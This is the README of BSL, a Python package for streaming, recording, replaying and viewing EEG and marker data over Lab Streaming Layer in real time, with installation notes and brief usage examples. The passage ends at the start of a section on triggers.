CALIFORNIA STATE UNIVERSITY, LOS ANGELES INFORMATION TECHNOLOGY SERVICES Microsoft Word 2013 Part 1: Introduction to Word Summer 2014, Version 1.0 Table of Contents Introduction...3 Starting Word...3 Overview
Word 1 Microsoft Word 2013
Word 1 Microsoft Word 2013 Mercer County Library System Brian M. Hughes, County Executive Quick Access Toolbar File Located on the title bar, above the Ribbon, the Quick Access Toolbar provides access
Microsoft Word 2010. Quick Reference Guide. Union Institute & University
Microsoft Word 2010 Quick Reference Guide Union Institute & University Contents Using Word Help (F1)... 4 Window Contents:... 4 File tab... 4 Quick Access Toolbar... 5 Backstage View... 5 The Ribbon...,
Introduction to Microsoft Word American University Office of Information Technology Training Unit
Introduction to Microsoft Word 2007 American University Office of Information Technology Training Unit TABLE OF CONTENTS INTRODUCTION... 1 THE MICROSOFT WORD 2007 WINDOW... 1 The Office Button... EXCEL TUTORIAL HANDOUT
MICROSOFT EXCEL TUTIAL HANDOUT Opening Microsoft Excel 1. Click on the START button. 2. Click on PROGRAMS. 3. Click on MICROSOFT EXCEL. The Excel Screen Formula Bar Minimize Buttons Restore Buttons Close
Word...
Introduction to Microsoft Word 2010
Introduction to Microsoft Word 2010 THE BASICS PAGE 02 What is Microsoft Word? Opening Microsoft Word The Title Bar Page View and Zoom MENUS...PAGE 03 Quick Access Toolbar The Ribbon File Tab Home Tab
WORD 2013 GETTING STARTED
WORD 2013 GETTING STARTED Information Technology September 1, 2014 1 P a g e 1 Word 2013 2 3 4 5 1. Quick Access Toolbar contains shortcuts for the most commonly used tools. 2. Backstage View Contains
CS042A. Using Microsoft Word
CS042A Using Microsoft Word 2015 Professional Career Development Institute, LLC. All rights reserved. Accredited by the Accrediting Commission of the Distance Education and Training Council. The Accrediting
BASIC FORMATTING IN MICROSOFT WORD
BASIC FORMATTING IN MICROSOFT WORD Microsoft Word comes with formatting tools that you can use to enhance the appearance of your documents. Some of the formatting tools we will be covering in this lesson
Microsoft Excel 2010
Microsoft Excel 2010 Part I: Introduction to MS Excel 2010 Microsoft Excel 2010 is a spreadsheet software in the new Microsoft 2010 Office Suite. Excel allows you to store, manipulate and analyze
Microsoft Word 2003. The Word Window has changed in Office 2003!
Microsoft Word 2003 Millsaps College Information Technology Services 2006-2007 Millsaps College Computer Services The Word Window has changed in Office 2003! Menu Bar Formatting Toolbar [modified for 2003]
Formatting & Styles Word 2010
Formatting & Styles Word 2010 Produced by Flinders University Centre for Educational ICT CONTENTS Layout... 1 Using the Ribbon Bar... 2 Minimising the Ribbon Bar... 2 The File Tab... 3 What the Commands
Introduction to MS WORD 2007
Introduction to MS WORD 2007 Navigation Formatting Tables Graphics Printing Introduction to MS Word 2007 2 Table of Contents Starting up Word: On your marks, get set, Go!... 4 Correct use of the mouse...)
Microsoft Word 2007 Lesson Plan
Table of Contents Introduction...3 Exploring the Word 2007 Environment...3 Creating, Saving and Closing a Document...5 Creating a document...5 Saving the new document...5 Saving the new document in a different
Creating Presentation
206 :: Data Entry Operations 9 Creating Presentation 9.1 INTRODUCTION Whenever you appear in front of one or more people to present your ideas, deliver speech, give classroom lecture, organize computer
Getting started with Word 2010
Getting started with Word 2010 This document is a brief introduction to Word 2010. For help with using the Office 2010 interface, see Getting Started with Microsoft Office 2010. Formatting your document Excel 2013 Part 1: Introduction to Excel
CALIFORNIA STATE UNIVERSITY, LOS ANGELES INFORMATION TECHNOLOGY SERVICES Microsoft Excel 2013 Part 1: Introduction to Excel Summer 2014, Version 1.0 Table of Contents Introduction...3 Starting Excel...3
Designing a Worksheet with Excel
Designing a Worksheet with Excel Introduction Microsoft Office Excel 00 offers several tools that make your worksheets look attractive and professional. Without formatting, a worksheet can look confusing
Core Skills Checklist - Word
Creating Newsletters Formatting Text and Paragraphs Start a new document from templates Essential Training Set default line spacing and font for all new documents Display non-printing characters Copy or Microsoft Word 2008
1. Launch Microsoft Word icon in Applications > Microsoft Office 2008 (or on the Dock). 2. When the Project Gallery opens, view some of the available Word templates by clicking to expand the Groups, and
Microsoft Office 2007 Beginning Microsoft Word
Microsoft Office 2007 Beginning Microsoft Word Objective 1: Become acquainted with the Microsoft Word 2007 environment. To Start Microsoft Word 2007 1. Click the Start Button on the taskbar 2. Point
Introduction to Microsoft Excel 2010
Introduction to Microsoft Excel 2010 THE BASICS PAGE 02 What is Microsoft Excel? Important Microsoft Excel Terms Opening Microsoft Excel 2010 The Title Bar Page View, Zoom, and Sheets MENUS...PAGE 03 Quick
Presentation Software
Presentation Software PP2 Level 2 4 Credits MS Office PowerPoint 2010 August 2014 Gwent ACL Partnership Contents INTRODUCTION... 4 CREATE A PRESENTATION... 4 CLOSE SLIDE MASTER... 6 APPLY A DESIGN TEMPLATE...
2 What s New in Word 2007
2 What s New in Word 2007 2.1 Overview of Word 2007 Microsoft Office Word 2007 is a word processing program that enables you to create many types of documents including letters, resumes, reports, proposals,
Inserting Tables, Images & Objects
Inserting Tables, Images & Objects Word 2010 CONTENTS Layout...1 Using the Ribbon Bar...2 Minimising the Ribbon Bar...2 The File Tab...3 What the Commands and Buttons do...3 The Quick Access Toolbar...4
Microsoft Word For Windows
Microsoft Word For Windows The Word Window The Microsoft Word for Windows screen consists of two main parts, the text area and the elements surrounding the text area. The diagram below shows a typical
Basic Microsoft Excel 2007
Basic Microsoft Excel 2007 The biggest difference between Excel 2007 and its predecessors is the new layout. All of the old functions are still there (with some new additions), but they are now located
PowerPoint 2016 Part I - Building a Presentation
PowerPoint 2016 Part I - Building a Presentation What is PowerPoint? PowerPoint is presentation software that helps you quickly and efficiently create dynamic, professional-looking presentations through,
USING MICROSOFT EXCEL 2007
USING MICROSOFT EXCEL 2007 Before you get started with Microsoft Excel (commonly referred to as MS Excel, you will need to locate and open it on the computer. It may be on your desktop. On the computer
HIT THE GROUND RUNNING MS WORD INTRODUCTION
HIT THE GROUND RUNNING MS WORD INTRODUCTION MS Word is a word processing program. MS Word has many features and with it, a person can create reports, letters, faxes, memos, web pages, newsletters, and
HOW TO... Use Excel. Overview
Page 1 of 9 Overview Excel is a spreadsheet application in the Microsoft Office suite. Excel can be used to create and format workbooks in order to analyze data, write formulas, calculations, and charts
Access Getting Started The Access Window
Microsoft QUICK Source Access 2007 Getting Started The Access Window u v w x y z Creating a Database Based on a Template When you create a database based on a template, preformatted tables, queries, forms,
Word processing OpenOffice.org Writer
STUDENT S BOOK 3 rd module Word processing OpenOffice.org Writer This work is licensed under a Creative Commons Attribution- ShareAlike 3.0 Unported License. s/by-sa/3.0
Using Microsoft Word 2010 to Create a Legal Research Paper
Using Microsoft Word 2010 to Create a Legal Research Paper SETTING DEFAULT FONTS AND LINE SPACING... 2 CHANGING YOUR DEFAULT FONT... 2 CHANGING YOUR DEFAULT LINE SPACING... 3 LISTS, INDENTATIONS, TABS
Basic Microsoft Word 2010 Part One Basic Microsoft Word 2010 Part One Computer Training Team Phone: (504) 838-1144 Email: computertrainingteam@jefferson.lib.la.us December 2012 Word 2010 Microsoft Word is a popular word
AA - Change the set of styles, colors and fonts in the document
Microsoft Word Home Clipboard : Paste - Paste the contents of the clipboard Cut - cut the selection from the document and put it on the clipboard Copy - copy the selection and put it on the clipboard Font: Migrating to Word 2010 from Word 2003
In This Guide Microsoft Word 2010 looks very different, so we created this guide to help you minimize the learning curve. Read on to learn key parts of the new interface, discover free Word 2010 training,
Microsoft PowerPoint 2010
Microsoft PowerPoint 2010 Quick Reference Guide Union Institute & University Contents Using Help (F1)... 4 Opening PowerPoint... 4 Window Contents:... 4 Title Bar... 4 Control Buttons... 4 File tab...
Excel 2003 Tutorial I
This tutorial was adapted from a tutorial by see its complete version at Excel 2003 Tutorial I Spreadsheet Basics Screen Layout Title bar Menu bar
Microsoft Word Help. Strategies for students in special and general education settings
Microsoft Word Help Strategies for students in special and general education settings Accessibility Features Magnifier Narrator On-screen keyboard Sound sounds Display High contrast Cursor options Mouse
WORD 2013 FORMATTING TEXT and USING STYLES
WORD 2013 FORMATTING TEXT and USING STYLES Information Technology September 1, 2014 1 P a g e TABLE OF CONTENTS Paragraph Format Options... 3 Paragraph group under the Home tab... 3 First Line Indent...
Paragraph Formatting 4
Paragraph Formatting 4 LESSON SKILL MATRIX Skill Exam Objective Objective Number Formatting Paragraphs Set indentation. 2.2.7 Setting Line Spacing in Text and Between Paragraphs Creating and Formatting
WORKING WITH MS WORD FOR THESIS WRITERS
WORKING WITH MS WORD FOR THESIS WRITERS Table of Contents Styles... 1 What Styles Don t Control... 3 Word Templates... 4 Tabs and Tables... 6 Formatting Charts and Pictures... 10 Referencing Pictures and
Microsoft Word 2010 Training
Microsoft Word 2010 Training Microsoft Word 102 Instructor: Debbie Minnerly Course goals Learn how to work with paragraphs. Set tabs and work with tables. Learn about styles Use the spelling and grammar
Centre for Learning and Academic Development. IT Training. MS Word The Basics Workbook. Version 1.0
Centre for Learning and Academic Development IT Training MS Word 2007 The Basics Workbook Version 1.0 MS Word 2007: The Basics Author: Linda Clark Version: 1.0, August 2010 2010
Handout: Word 2010 Tips and Shortcuts
Word 2010: Tips and Shortcuts Table of Contents EXPORT A CUSTOMIZED QUICK ACCESS TOOLBAR... 2 IMPORT A CUSTOMIZED QUICK ACCESS TOOLBAR... 2 USE THE FORMAT PAINTER... 3 REPEAT THE LAST ACTION... 3 SHOW | http://docplayer.net/24377770-Ecdl-word-processing-open-close-a-word-processing-application-open-close-documents.html | CC-MAIN-2018-43 | refinedweb | 10,135 | 71.65 |
BGE: Random Numbers
There will come a time in any game where you’ll want to introduce a bit of randomness into it to stop sequences becoming predictable. This tutorial will introduce how we can get random numbers in python and return to our Duck Duck Moose game example to see them in action.
We can create random numbers using the BGE’s random actuator and the generated numbers are copied to an object’s property (you can read more about this here). However, this isn’t always useful when you want a random number in a script such as a throw-away local variable with a random value. This is where random.py come in. So lets have a look:
import random x = random.random() print(x) x = random.uniform(0, 2) print(x) x = random.randrange(1, 100, 2) print(x) x = random.randint(1, 10) print(x) myList = ['apple', 'orange', 'bananna', 'grape'] x = random.choice(myList) print(x) random.shuffle(myList) print(myList)
The first step to getting random numbers is to import random.py and then we can start using the various functions contained within. Let’s take each one in turn.
random.random() forms the basis for most the other functions in random.py. It returns a floating point number within the semi open range of 0.0 to 1. This means that it’ll generate 0.0 but will not produce 1.
random.uniform(a,b) returns a floating point number within the range specified (where a <= N <= b).
random.randrange(start, stop, step) produces an integer within the selected range (but doesn’t actually build a range object). We can specify a step value, so in the above example x will only be even values since we’re stepping through the range in twos.
random.randint(a,b) returns a random integer within the given range (where a <= N <= b).
random.choice(sequence) provides with a random selection from within a given sequence. In our example we used a list, but this could just as easily be a string, in which case, we’d get an individual character.
random.shuffle(sequence) shuffles sequences in place, bit like a deck of cards.
And that’s pretty much all there is to getting and using randomisation in python. There are other methods contained in random.py for various other random bits and bobs, but for our purposes the methods listed above are probably going to be enough. If they’re not, check the python random.py documentation.
A note on randomness
The numbers generated aren’t actually truly random numbers, they’re pseudo-random numbers created by a pseudo-random number generator (PRNG). When imported, random.py starts with a number (know as a seed) and performs a series of calculations on it to produce the final result. There are a number of different ways to calculate pseudo-random numbers, python uses the Mersenne Twister method. The result of the calculation is then used to seed the next pseudo-random number. This means that the random numbers generated is entirely deterministic and is not safe for cryptographic purposes.
Where the initial seed comes from will largely be based on the operating system. Different OS’s have different methods of generating more secure random numbers by mixing together sources from the physical world (since this is non-deterministic). This can be things like keystrokes, mouse movements, hard drive access and incoming Ethernet packets. This results in a seed that is unpredictable and highly unlikely to be repeated. If there are no OS methods available to python then the system time is used.
We can deliberately seed the generator by calling random.seed() and passing it any hashable object, like a number. So, calling random.seed(254) at the beginning the script will produce the same set of random numbers each time it is run since the seed is always the same. This is useful for testing purposes, or when you want something to appear random that is actually not.
All duck and no moose
Let’s use our new random numbers to finally introduce the moose and randomise the sequence of spawned creatures. Check out spawn.py:
import random import bge cont = bge.logic.getCurrentController() own = cont.owner delay = own.sensors['Delay'] spawn = own.actuators['AddObject'] spawn.object = random.choice(['DuckieLow', 'BlueDuckieLow', 'MooseLow']) spawn.instantAddObject() obj = spawn.objectLastCreated x = random.uniform(0.07, 0.04) obj.actuators['Motion'].dLoc = [x,0,0] delay.delay = random.randint(20,60)
We’re using random.choice() to provide a selection from a list of various objects that can be spawned by the game. We’re then using the object actuators .objectLastCreated attribute to get that object and vary the speed at which it moves at using random.uniform() to return a float for us to use. Finally, we vary the delay sensor triggering each spawning the objects using random.randint().
But we can do better than that. What if wanted mainly yellow ducks spawned, with moose’s being less likely and blue ducks being even rarer? Well, we could do this:
spawn.object = random.choice(['DuckieLow', 'DuckieLow','DuckieLow', 'BlueDuckieLow', 'MooseLow', 'MooseLow'])
Alternatively, we could use a series of if statements with a randomly generated integer, similar to switch-case statements in C++. So spawn.py could look like this:
import random import bge cont = bge.logic.getCurrentController() own = cont.owner delay = own.sensors['Delay'] spawn = own.actuators['AddObject'] i = random.randint(0, 10) if i == 10: spawn.object = 'BlueDuckieLow' elif i < 10 and i > 6: spawn.object = 'MooseLow' else: spawn.object = 'DuckieLow' spawn.instantAddObject() obj = spawn.objectLastCreated x = random.uniform(0.04, 0.07) obj.actuators['Motion'].dLoc = [x,0,0] delay.delay = random.randint(20,60)
Parting words
The random module is great! It’s simple to use and I can’t think of a game project where I’ve not used it for one thing or another. I’m a big fan of using it in AI applications to give enemies a sense of unpredictability. I’ve also used it when generating enemies to create a bit of uniqueness to them, such as randomly distributing left and right handed enemies, enemies that move at differing speeds and have varying accuracy and weapons. There are lots of different random methods contained within random.py, but I’ve only ever had cause to use random.randint(), random.uniform() and random.choice() in my games. It’s worth noting that there is no random bool. But can always use random.choice([True, False]) or random.randint(0,1) to achieve this.
As per usual, if you have any questions or comments drop them below.
Resources | https://whatjaysaid.wordpress.com/2014/05/10/bge-random-numbers/ | CC-MAIN-2019-04 | refinedweb | 1,115 | 60.72 |
¶Boids in C
This project implements the Boids flocking algorithm in C# to create an interesting procedural animation of bird-drones (boids) scurrying about the screen.
¶Simulation Rules
The Boids algorithm was created by Craig Reynolds in 1986 and is a term used to describe "bird-oid objects". In this simulation complex emergent behavior comes from simple rules:
- Rule 1: boids steer toward the center of mass of nearby boids
- Rule 2: boids adjust direction to match nearby boids
- Rule 3: boids steer away from very close boids
¶Additional Rules
You can get fancy and apply additional rules to create even more complex and interesting behavior. In my example program I added 3 additional rules:
- Rule 4: boids speed up or slow down to match a target speed
- Rule 5: boids are repelled by the edge of the box
- Rule 6: boids steer away from boids marked as predators
¶Boids Model Code
¶Strategy
The velocity of voids is controlled by two variables,
Xvel and
Yvel. It's worth noting that trig functions can be used to convert these values to heading (in degrees) and speed (pixels per iteration), but this is typically not required.
All rules "steer" boids (adjusting their heading and speed) by acting on their X and Y velocities. Rules never move boids. After the application of all the rules, the position of each boid (
X and
Y) is moved by its velocity (
Xvel and
Yvel).
Each rule is given a
distance that describes how far away it can act. Avoidance only acts on close boids, while flocking distances are much greater. Similarly, each rule is given a weight (termed
power in this code) that describes how much it influences the final velocity. Typically rules with a larger distance have a smaller weight. Flocking weight is less than predator avoidance weight.
¶The
Boid Class
Some helper functions have been omitted, but this is the gist of the
Boid class. This class only stores position and velocity of one boid, and any information about the outside world must be passed-in.
public class Boid { public double X; public double Y; public double Xvel; public double Yvel; public Boid(double x, double y, double xVel, double yVel) { (X, Y, Xvel, Yvel) = (x, y, xVel, yVel); } }
¶The
Field Class
The
Field class contains a
List of
Boid objects and is responsible for applying the rules to each
Boid. It is instantiated with a set of dimensions and a number of initial boids, and random boids (with random positions and velocities) are placed upon instantiation.
public readonly double Width; public readonly double Height; public readonly List<Boid> Boids = new List<Boid>(); private readonly Random Rand = new Random(); public Field(double width, double height, int boidCount = 100) { (Width, Height) = (width, height); for (int i = 0; i < boidCount; i++) Boids.Add(new Boid(Rand, width, height)); }
¶Model Advancement
This method applies all the rules and advances the boids model in time. Distances and weights for each rule are defined in arguments.
public void Advance(bool bounceOffWalls = true, bool wrapAroundEdges = false) { // update void speed and direction (velocity) based on rules foreach (var boid in Boids) { (double flockXvel, double flockYvel) = Flock(boid, 50, .0003); (double alignXvel, double alignYvel) = Align(boid, 50, .01); (double avoidXvel, double avoidYvel) = Avoid(boid, 20, .001); (double predXvel, double predYval) = Predator(boid, 150, .00005); boid.Xvel += flockXvel + avoidXvel + alignXvel + predXvel; boid.Yvel += flockYvel + avoidYvel + alignYvel + predYval; } // move all boids forward in time foreach (var boid in Boids) { boid.MoveForward(); if (bounceOffWalls) BounceOffWalls(boid); if (wrapAroundEdges) WrapAround(boid); } }
¶Rule 1: Steer Toward Center of Mass of Nearby Boids
Return the velocity adjustment needed to point toward the center of the flock (mean flock boid position). Notice that we define a flock (and neighbors) as boids within the given distance.
private (double xVel, double yVel) Flock(Boid boid, double distance, double power) { var neighbors = Boids.Where(x => x.GetDistance(boid) < distance); double meanX = neighbors.Sum(x => x.X) / neighbors.Count(); double meanY = neighbors.Sum(x => x.Y) / neighbors.Count(); double deltaCenterX = meanX - boid.X; double deltaCenterY = meanY - boid.Y; return (deltaCenterX * power, deltaCenterY * power); }
¶Rule 2: Mimic Direction and Speed of Nearby Boids
Return the velocity adjustment needed to approach the mean speed and direction of nearby boids.
private (double xVel, double yVel) Align(Boid boid, double distance, double power) { var neighbors = Boids.Where(x => x.GetDistance(boid) < distance); double meanXvel = neighbors.Sum(x => x.Xvel) / neighbors.Count(); double meanYvel = neighbors.Sum(x => x.Yvel) / neighbors.Count(); double dXvel = meanXvel - boid.Xvel; double dYvel = meanYvel - boid.Yvel; return (dXvel * power, dYvel * power); }
¶Rule 3: Steer Away from Extremely Close Boids
Return the velocity adjustment needed to avoid very close boids. This method doesn't use the center of the close flock, but instead summates the "closeness" of all close birds to generate the velocities.
private (double xVel, double yVel) Avoid(Boid boid, double distance, double power) { var neighbors = Boids.Where(x => x.GetDistance(boid) < distance); (double sumClosenessX, double sumClosenessY) = (0, 0); foreach (var neighbor in neighbors) { double closeness = distance - boid.GetDistance(neighbor); sumClosenessX += (boid.X - neighbor.X) * closeness; sumClosenessY += (boid.Y - neighbor.Y) * closeness; } return (sumClosenessX * power, sumClosenessY * power); }
¶Rule 4: Speed Limit
After the first three rules are applied, the new velocity is calculated for each boid. An operation can then be performed to scale these velocities (keeping their ratio the same) to adjust speed. I accomplish this inside the advancement method in the
Boid class.
Notice the
IsNan method has to be used to accommodate cases where speed is zero so as not to break the trig functions which calculate heading later.
public void MoveForward(double minSpeed = 1, double maxSpeed = 5) { X += Xvel; Y += Yvel; var speed = GetSpeed(); if (speed > maxSpeed) { Xvel = (Xvel / speed) * maxSpeed; Yvel = (Yvel / speed) * maxSpeed; } else if (speed < minSpeed) { Xvel = (Xvel / speed) * minSpeed; Yvel = (Yvel / speed) * minSpeed; } if (double.IsNaN(Xvel)) Xvel = 0; if (double.IsNaN(Yvel)) Yvel = 0; }
¶Rule 5: Avoid Edges
This code accelerates boids away from walls with each iteration. Originally it just slows them down as they approach, but with more time they reverse course and travel away from the edge. This method is safe to use with fast boids that may travel off the screen for a brief period of time.
private void BounceOffWalls(Boid boid) { double pad = 50; double turn = .5; if (boid.X < pad) boid.Xvel += turn; if (boid.X > Width - pad) boid.Xvel -= turn; if (boid.Y < pad) boid.Yvel += turn; if (boid.Y > Height - pad) boid.Yvel -= turn; }
¶Alternate Rule 5: Wrap the Universe
This code isn't used in my example, but it could be used instead of the "avoid edges" method above. In this method boids that fall off the screen on one edge reappear on the opposite edge.
private void WrapAround(Boid boid) { if (boid.X < 0) boid.X += Width; if (boid.X > Width) boid.X -= Width; if (boid.Y < 0) boid.Y += Height; if (boid.Y > Height) boid.Y -= Height; }
¶Rule 6: Avoid Predators
Return the velocity adjustment needed to steer away from predators. In this example predators are simply defined as the first N boids using a class-level variable. Similar to the earlier boid avoidance method, this one summates avoidances based on each predator's position instead of responding to the mean position of all predators.
public int PredatorCount = 3; private (double xVel, double yVel) Predator(Boid boid, double distance, double power) { (double sumClosenessX, double sumClosenessY) = (0, 0); for (int i = 0; i < PredatorCount; i++) { Boid predator = Boids[i]; double distanceAway = boid.GetDistance(predator); if (distanceAway < distance) { double closeness = distance - distanceAway; sumClosenessX += (boid.X - predator.X) * closeness; sumClosenessY += (boid.Y - predator.Y) * closeness; } } return (sumClosenessX * power, sumClosenessY * power); }
¶Rendering the Boids Model
¶Graphics Transformation and Rotation
The outline of a boid is defined as a
Point[] array. Instead of rotating the points to match the direction of each boid, the entire canvas is rotated around the boid, then the boid is drawn right-side-up. This method greatly simplifies the act of drawing rotated shapes with System.Drawing.
private void RenderBoid(Graphics gfx, Boid boid) { // drawing of a boid centered at (0, 0) var boidOutline = new Point[] { new Point(0, 0), new Point(-5, -1), new Point(0, 10), new Point(5, -1), new Point(0, 0), }; using (var brush = new SolidBrush(Color.LightGreen)) { // translate and rotate the canvas around the boid gfx.TranslateTransform((float)boid.X, (float)boid.Y); gfx.RotateTransform((float)boid.GetAngle()); // draw the boid at (0, 0) gfx.FillClosedCurve(brush, boidOutline); // reset before drawing the next object gfx.ResetTransform(); } }
Rendering is triggered using a timer set to 1 ms. The first 3 boids are predators so they are colored differently.
Field field = new Field(pictureBox1.Width, pictureBox1.Height, 100); private void timer1_Tick(object sender, EventArgs e) { field.Advance(); pictureBox1.Image?.Dispose(); pictureBox1.Image = RenderField(field); } public static Bitmap RenderField(Field field) { Bitmap bmp = new Bitmap((int)field.Width, (int)field.Height); using (Graphics gfx = Graphics.FromImage(bmp)) { gfx.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; gfx.Clear(ColorTranslator.FromHtml("#003366")); for (int i = 0; i < field.Boids.Count(); i++) { if (i < 3) RenderBoid(gfx, field.Boids[i], Color.White); else RenderBoid(gfx, field.Boids[i], Color.LightGreen); } } return bmp; }
¶Resources
¶Boids Simulators (JavaScript)
- Boids algorithm demonstration by Ben Eater (featured in SmarterEveryDay's YouTube Video about flocking birds)
- Boids: Flocking made simple by Harmen de Weerd
- Flocking by Daniel Shiffman
- Flocking Simulation by Matt Mazur
- Simulate How Birds Flock in Processing by Takuma Kakehi
¶Literature
- Boids: Background and Update by Craig Reynolds (the inventor of boids)
- Boids on Wikipedia
- 3 Simple Rules of Flocking Behaviors: Alignment, Cohesion, and Separation
- Boids Code Golf
¶Source Code
¶System.Drawing Version
- Source code: /examples/drawing/boids
¶OpenGL Version
- Download: Boids-Csharp.zip
- Source code: /examples/drawing/boid2s
| https://swharden.com/CsharpDataVis/boids/boids.md.html | CC-MAIN-2020-45 | refinedweb | 1,623 | 56.35 |
Newbie needs help
Hi,
I just started on mysensors and I have zero knowledge in electronics.
I want to create some sensor nodes using arduino pro mini.
However i have few doubts. Hope someone can help a newbie.
I can see only one VCC pin (excluding the one on programming header which i would like keep it for uploading sketches in future). How do I connect my radio and sensor? Shouldn't it be at least 2 VCC pins? Or can I fit in 2 wires into the same VCC pin?
I'm powering the sensor node with 2 AA batteries. The negative terminal goes to ground. What about the positive terminal? Does is goes to RAW?
I'm sorry for the silly questions.
Welcome @masterkenobi !
1: You can connect as many things as you like to the vcc pin. A breakout board is very handy when prototyping to make it easy to connect many things to the same pin.
2: it depends. Search for 2xAA in the forum and you'll find lots of discussions. But to get started connect + on the batteries to Vcc.
@mfalkvidd thanks.
I manage to build a couple of sensors powered by 2 AA batteries.
However I'm stuck at monitoring the battery level.
After I uploaded BatteryPoweredSensor.ino to my board, it overwrote the sensor sketch I uploaded earlier.
Do I have to merge both sketches into one before upload?
- Boots33 Hero Member last edited by
Yes each time you upload a sketch it replaces the one that is already there.
- danivalencia last edited by
Here you have a sample of one of my battery nodes. Now I'm using V2.0 of Library, but this used to work before updating
#include <MySensor.h> #include <SPI.h> #include <BH1750.h> #define SN "SensorLuz" #define SV "1.0" unsigned long SLEEP_TIME = 300000; // 5 minutos #define CHILD_ID_LIGHT 0 #define NODE_ID 7 BATTERY_SENSE_PIN = A0; MySensor gw; BH1750 lightSensor; uint16_t lastlux; MyMessage msgLux(CHILD_ID_LIGHT, V_LEVEL); MyMessage msgLuxUnit(CHILD_ID_LIGHT, V_UNIT_PREFIX); void setup() { analogReference(INTERNAL); gw.begin(NULL, NODE_ID); lightSensor.begin(); gw.sendSketchInfo(SN, SV); gw.present(CHILD_ID_LIGHT, S_LIGHT_LEVEL); gw.send(msgLuxUnit.set("lux")); } void loop() { uint16_t lux = lightSensor.readLightLevel(); Serial.print("Lux: "); Serial.println(lux); if (lux != lastlux) { gw.send(msgLux.set(lux)); lastlux = lux; } batM(); gw.sleep(SLEEP_TIME); } void batM() //The battery calculations { delay(500); int sensorValue = analogRead(BATTERY_SENSE_PIN); delay(500); float Vbat = sensorValue * VBAT_PER_BITS; int batteryPcnt = static_cast<int>(((Vbat-VMIN)/(VMAX-VMIN))*100.); //Serial.print("Battery percent: "); Serial.print(batteryPcnt); Serial.println(" %"); if (batLoop > 24) { //24 ciclos de 5 min = 2h. gw.sendBatteryLevel(batteryPcnt); batLoop = 0; } else { batLoop++; } }
Yes each time you upload a sketch it replaces the one that is already there.
Thanks.
@danivalencia said:
Here you have a sample of one of my battery nodes. Now I'm using V2.0 of Library, but this used to work before updating
Thanks.
There is also another thing concern me. What if my neighbor also into Mysensors? Will he be able to view all the data from my sensors? How do I secure the nodes?
- danivalencia last edited by
@masterkenobi said:
There is also another thing concern me. What if my neighbor also into Mysensors? Will he be able to view all the data from my sensors? How do I secure the nodes?
Take a look at | https://forum.mysensors.org/topic/3934/newbie-needs-help/5?lang=en-US | CC-MAIN-2022-33 | refinedweb | 551 | 61.93 |
Real-time framework for online neuroscience research through LSL-compatible devices.
Project description
BrainStreamingLayer provides a real-time brain signal streaming framework. BSL is a wrapper around the python interface to the Lab Streaming Layer (LSL). BSL goal is to simplify the design of a study using the Lab Streaming Layer which provides sub-millisecond time synchronization accuracy.
Any signal acquisition system supported by native LSL or OpenVibe is also supported by BSL. Since the data communication is based on TCP, signals can be transmitted wirelessly. For more information about LSL, please visit the LSL github.
BSL is based on NeuroDecode. The original version developed by Kyuhwa Lee was recognised at Microsoft Brain Signal Decoding competition with the First Prize Award (2016) after achieving high decoding accuracy. BSL is based on the refactor version by Arnaud Desvachez for the Fondation Campus Biotech Geneva (FCBG). The low-level functionalities have been reworked and improved, while the decoding functionalities have been dropped.
Installation
BSL supports
python >= 3.8 and requires:
- numpy
- scipy
- mne
- pyqt5
- pyqtgraph
BSL uses
pylsl to interface with LSL. A version is provided in
bsl.externals and should work 'as is' on most systems. A different version
of
pylsl can be installed and will be automatically selected by BSL if
available.
BSL uses
psychopy for trigger via an on-board parallel port. A version
including only the
parallel module is provided in
bsl.externals and should
work 'as is' on most systems. A different version of
psychopy can be
installed and will be automatically selected by BSL if available.
Optional dependencies for trigger via a parallel port (LPT):
- pyserial, if the Arduino to LPT converter is used.
BSL can be installed via
pip with
pip install bsl.
BSL can be installed from a cloned repository in normal mode with
pip install . or in development mode with
pip install -e ..
Optional dependencies can be installed using the keywords:
- build
- doc
- externals
- parallel
- style
- test
- all
For instance,
pip install bsl[parallel] will install
BSL with the
dependencies for parallel port triggers.
Documentation
BSL is centered around 4 main modules:
stream_receiver,
stream_recorder,
stream_player and
stream_viewer.
StreamReceiver
The stream receiver connects to one or more LSL streams and acquires data from those. Supported streams are:
- EEG
- Markers
Example:
from bsl import StreamReceiver # Connects to all available streams sr = StreamReceiver(bufsize=1, winsize=1, stream_name=None) # Update each stream buffer with new data sr.acquire() # Retrieve buffer/window for the stream named 'StreamPlayer' data, timestamps = sr.get_window(stream_name='StreamPlayer')
The data and its timestamps are returned as numpy array:
data.shape = (samples, channels)
timestamps.shape = (samples, )
The data can be returned as an MNE raw instance if
return_raw is set to
True.
StreamRecorder
The stream recorder connects to one or more LSL streams and periodically
acquires data from those until stopped, and then saves the acquired data to
disk in pickle
.pcl and in FIF
.fif format.
Example:
import time from bsl import StreamRecorder # Connects to all available streams recorder = StreamRecorder(record_dir=None, fname=None, stream_name=None, verbose=True) recorder.start() time.sleep(10) recorder.stop()
When the argument
record_dir is set to None, the current folder obtained with
pathlib.Path.cwd() is used. When the argument
fname is set to None, the
created files' stem use the start datetime.
CLI: The stream recorder can be called by command-line in a terminal by
using either
bsl stream_recorder or
bsl_stream_recorder followed by the
optional arguments
-d,
-f,
-s respectively for
record_dir,
fname,
and
stream_name, and the optional flags
--fif_subdir and
--verbose.
bsl_stream_recorder -d "D:/Data" bsl_stream_recorder -d "D:/Data" -f test bsl_stream_recorder -d "D:/Data" -f test -s openvibeSignals
StreamPlayer
The stream player loads a previously recorded
.fif file and creates a LSL
server streaming data from this file. The stream player can be used to test
code with a fake LSL data stream.
Example:
import time from bsl import StreamPlayer sp = StreamPlayer(stream_name='StreamPlayer', fif_file=r'path to .fif') sp.start() time.sleep(10) sp.stop()
CLI: The stream player can be called by command-line in a terminal by
using either
bsl stream_player or
bsl_stream_player followed by positional
arguments
stream_name and
fif_file and the optional arguments
-r,
-c,
-t respectively for
repeat,
chunk_size and
trigger_def, and the
optional flag
--high_resolution.
bsl_stream_player StreamPlayer data-raw.fif bsl_stream_player StreamPlayer data-raw.fif -c 16 bsl_stream_player StreamPlayer data-raw.fif -c 16 -t triggerdef.ini
StreamViewer
The stream viewer creates a 2-window GUI composed of a control GUI and a plotter GUI to display the data acquired from an LSL server in real-time.
CLI: The stream viewer can be called by command-line in a terminal by using
either
bsl stream_viewer or
bsl_stream_viewer followed by the optional
argument
-s for the
stream_name. If no stream name is provided, a prompt
will ask the user to select the desired non-marker stream to display.
bsl_stream_viewer bsl_stream_viewer -s StreamPlayer
Triggers
Triggers includes functions to mark time event by sending a trigger which will be saved on the TRIGGER channel of the on-going recording. Triggers can be achieved either through hardware or through software.
Currently, the supported hardware triggers use an LPT port.
Example:
